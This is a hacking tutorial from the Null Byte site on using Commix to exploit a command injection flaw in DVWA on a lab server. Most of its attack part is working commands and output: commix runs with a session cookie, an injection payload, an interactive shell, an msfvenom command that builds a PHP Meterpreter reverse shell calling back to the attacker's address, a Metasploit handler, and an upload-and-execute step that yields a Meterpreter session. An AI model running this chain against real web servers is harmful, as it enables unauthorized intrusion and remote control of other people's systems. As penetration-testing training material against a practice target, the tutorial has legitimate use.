How to Use Commix to Automate Exploiting Command Injection Flaws in Web Applications « Null Byte :: WonderHowTo

The ability to execute system commands via a vulnerable web application makescommand injectiona fruitful attack vector for any hacker. But while this type of vulnerability is highly prized, it can often take quite a bit of time to probe through an entire application to find these flaws. Luckily, there is a useful tool calledCommixthat can automate this process for us.What Is Commix?Commix, which is a portmanteau of command injection exploiter, is an open-source tool used to test web apps for command injection-based vulnerabilities and bugs. It isautomated, making it very easy to identify vulnerable parameters in a fraction of the time it would take to do so manually.Commix is written inPython, meaning that it can run onLinux,Mac, andWindows. In addition, it is also conveniently included in the official repositories ofKali Linux,BlackArch, andParrot Security OS. Everything works right out of the box, and there is even support for custom module development in order to expand the core functionality of this tool.There are a ton of options available for use, including the ability to specify parameters used to connect to the host,target enumeration, file access and modification, and even an offline mode. All of this functionality makes Commix an extremely useful asset when trying to exploit command injection.In this tutorial, we will be using Commix, and later,msfvenomandMetasploit, to exploit command injection flaws inDVWA.Method 1: Basic UsageTo get started, open DVWA and log in using the default credentials.Next, navigate to the "DVWA Security" tab, and set the security level to "low." This will ensure everything works smoothly when exploiting this web application.Now, go to the "Command Execution" tab, which is our point of interest for Commix.You need the cookie that contains the session ID and security level in order for this tool to run successfully. Use the "Inspect Element" tool in your browser to view the request, click on "Network," and finally "Raw headers" to view the information.In the terminal now, we can typecommix -hto display the help with all the different options this tool has to offer.root@drd:~# commix -h
Usage: commix [option(s)]

Options:
  -h, --help            Show help and exit.

  General:
    These options relate to general matters.

    -v VERBOSE          Verbosity level (0-4, Default: 0).
    --version           Show version number and exit.
    --output-dir=OUT..  Set custom output directory path.
    -s SESSION_FILE     Load session from a stored (.sqlite) file.
    --flush-session     Flush session files for current target.
    --ignore-session    Ignore results stored in session file.
    -t TRAFFIC_FILE     Log all HTTP traffic into a textual file.
    --batch             Never ask for user input, use the default behaviour.
    --encoding=ENCOD..  Force character encoding used for data retrieval (e.g.
                        GBK).
    --charset=CHARSET   Time-related injection charset (e.g.
                        "0123456789abcdef")
    --check-internet    Check internet connection before assessing the target.

  Target:
    This options has to be provided, to define the target URL.

    -u URL, --url=URL   Target URL.
    --url-reload        Reload target URL after command execution.
    -l LOGFILE          Parse target from HTTP proxy log file.
    -m BULKFILE         Scan multiple targets given in a textual file.
    -r REQUESTFILE      Load HTTP request from a file.
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL (1-2,
                        Default: 0).
    -x SITEMAP_URL      Parse target(s) from remote sitemap(.xml) file.

  Request:
    These options can be used to specify how to connect to the target URL.

    -d DATA, --data=..  Data string to be sent through POST.
    --host=HOST         HTTP Host header.
    --referer=REFERER   HTTP Referer header.
    --user-agent=AGENT  HTTP User-Agent header.
    --random-agent      Use a randomly selected HTTP User-Agent header.
    --param-del=PDEL    Set character for splitting parameter values.
    --cookie=COOKIE     HTTP Cookie header.
    --cookie-del=CDEL   Set character for splitting cookie values.
    -H HEADER, --hea..  Extra header (e.g. 'X-Forwarded-For: 127.0.0.1').
    --headers=HEADERS   Extra headers (e.g. 'Accept-Language: fr\nETag: 123').
    --proxy=PROXY       Use a HTTP proxy (e.g. '127.0.0.1:8080').
    --tor               Use the Tor network.
    --tor-port=TOR_P..  Set Tor proxy port (Default: 8118).
    --tor-check         Check to see if Tor is used properly.
    --auth-url=AUTH_..  Login panel URL.
    --auth-data=AUTH..  Login parameters and data.
    --auth-type=AUTH..  HTTP authentication type (e.g. 'Basic' or 'Digest').
    --auth-cred=AUTH..  HTTP authentication credentials (e.g. 'admin:admin').
    --ignore-401        Ignore HTTP error 401 (Unauthorized).
    --force-ssl         Force usage of SSL/HTTPS.
    --ignore-redirects  Ignore redirection attempts.
    --retries=RETRIES   Retries when the connection timeouts (Default: 3).

...We will be using the following options.The-uflag to define the target URL.The--cookie=option to set the appropriate cookie information.The--data=option to specify the POST request string.commix -u http://172.16.1.102/dvwa/vulnerabilities/exec/ --cookie='PHPSESSID=ba245268c2d2c08a209bf7db8bd004a0; security=low' --data='ip=127.0.0.1&submit=submit'The tool will start and display a banner with some version information, followed by some on-screen messages displaying the current status. We can see it finds a parameter that is vulnerable to command injection and asks us if we want a Pseudo-Terminal shell./`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\  v2.6-stable
/\ \__//\ \L\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/>  </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ http://commixproject.com
 \/____/\/___/  \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject)

+--
Automated All-in-One OS Command Injection and Exploitation Tool
Copyright (c) 2014-2018 Anastasios Stasinopoulos (@ancst)
+--

[*] Checking connection to the target URL... [ SUCCEED ]
[!] Warning: Heuristics have failed to identify target application.
[*] Setting the POST parameter 'ip' for tests.
[!] Warning: The estimated response time is 10 seconds. That may cause serious delays during the data extraction procedure and/or possible corruptions over the extracted data.
[*] Testing the (results-based) classic command injection technique... [ SUCCEED ]
[+] The POST parameter 'ip' seems injectable via (results-based) classic command injection technique.
    [~] Payload: ;echo OOIVXD$((89+59))$(echo OOIVXD)OOIVXD

[?] Do you want a Pseudo-Terminal shell? [Y/n] >If we pressY, it drops us into an interactive command shell. We can now issue commands likewhoamianduname -ato view information about the server.Pseudo-Terminal (type '?' for available options)
commix(os_shell) > whoami

www-data

commix(os_shell) > uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxThis is indeed useful, but we're somewhat limited in what we can do. Luckily, there is a way to combine the functionality of Commix with the powerful msfvenom to ultimately get aMeterpretersession on the target.Method 2: Upload Reverse ShellCommix has a function that allows us to write files on the target system. We will be placing areverse shellon the target that will call back to our attacking machine, but before we do that, we need to create the payload.Msfvenom is a payload generator which replaced both msfpayload and msfencode back in 2015. This single tool can be used to create payloads while operating outside of the Metasploit Framework.Use themsfvenomcommand with the following options.The-pflag to specify the payload.Uselhostto set the listening host address.Uselportto set the listening port.The-eflag to specify the encoder.The-fflag to specify the output format.Make sure to type>to write to the filepayload.php.root@drd:~# msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.1.100 lport=4321 -e php/base64 -f raw > payload.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1507 (iteration=0)
php/base64 chosen with final size 1507
Payload size: 1507 bytesWe see that the payload was successfully created. Now, we just need to add the PHP tags to our file. Typenano payload.phpand add<?phpat the beginning of the file and?>at the end of the file. PressCtrl-X,Y, andEnterto save.Now, we need to open a handler on our machine in order to catch the session that will be opened on the target. In a new terminal window, fire up Metasploit by typing themsfconsolecommand. Once loaded, typeuse exploit/multi/handlerto utilize the all-purpose handler.Next, set the payload, listening address, and port that we specified in our file earlier.msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf exploit(multi/handler) > set lport 4321
lport => 4321Once those are set, launch the handler by typingrun, an alias for exploit.msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.1.100:4321Back in our other terminal, we can run Commix just like we did before, with a few extra options to get our payload onto the target.The--file-writeoption to specify the file we want to use on our local machine.The--file-destoption to set the destination on the target.The--os-cmdoption to specify the command to run once the file is written to the target.commix -u http://172.16.1.102/dvwa/vulnerabilities/exec/ --cookie='PHPSESSID=ba245268c2d2c08a209bf7db8bd004a0; security=low' --data='ip=127.0.0.1&submit=submit' --file-write='/root/payload.php' --file-dest='/var/www/payload.php' --os-cmd='php -f /var/www/payload.php'This will allow our payload to be executed and a session to be caught by our handler if everything works properly. Commix will run for a bit and, eventually, we can see that our file was successfully created on the target....

[*] Testing the (results-based) classic command injection technique... [ SUCCEED ]
[+] The POST parameter 'ip' seems injectable via (results-based) classic command injection technique.
    [~] Payload: ;echo YJOSPV$((42+12))$(echo YJOSPV)YJOSPV
[+] The /var/www/payload.php file was created successfully!Now, back in the other terminal, we can see that a Meterpreter session was indeed opened. We can now run commands likegetuidandsysinfoto view information about the target.[*] Sending stage (37775 bytes) to 172.16.1.102
[*] Meterpreter session 1 opened (172.16.1.100:4321 -> 172.16.1.102:40115) at 2018-10-18 11:29:19 -0500

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linuxThese are similar results to what we achieved earlier by using Commix on its own, but now that we have a Meterpreter session there is a lot more flexibility to what we can ultimately do.ConclusionCommand injection vulnerabilities are highly sought after by hackers due to the potential power they wield over the target system. Commix is an extremely useful tool that is designed to automate finding and exploiting these vulnerabilities, making life a little easier for the hacker.In this guide, we learned some basic usage options. In addition, we saw how to combine msfvenom with Commix to upload a payload to the target and get a shell. This flexibility makes Commix an excellent addition to anyhacker's arsenal.Don't Miss:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byjarmoluk/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHow To:Exploit Remote File Inclusion to Get a ShellAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:The Art of 0-Day Vulnerabilities, Part3: Command Injection and CSRF VulnerabilitiesHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Hack Apache Tomcat via Malicious WAR File UploadHow To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Hack with Hacme ShippingHow To:Perform Directory Traversal & Extract Sensitive InformationSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)SQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesHow To:Use export plug-ins in ApertureHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)How to Hack Like a Pro:Getting Started with MetasploitIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow Null Byte Injections Work:A History of Our NamesakeHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:Hack Mac OS X Lion PasswordsHow To:10+ Time Saving Menu Bar Applications for MacRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+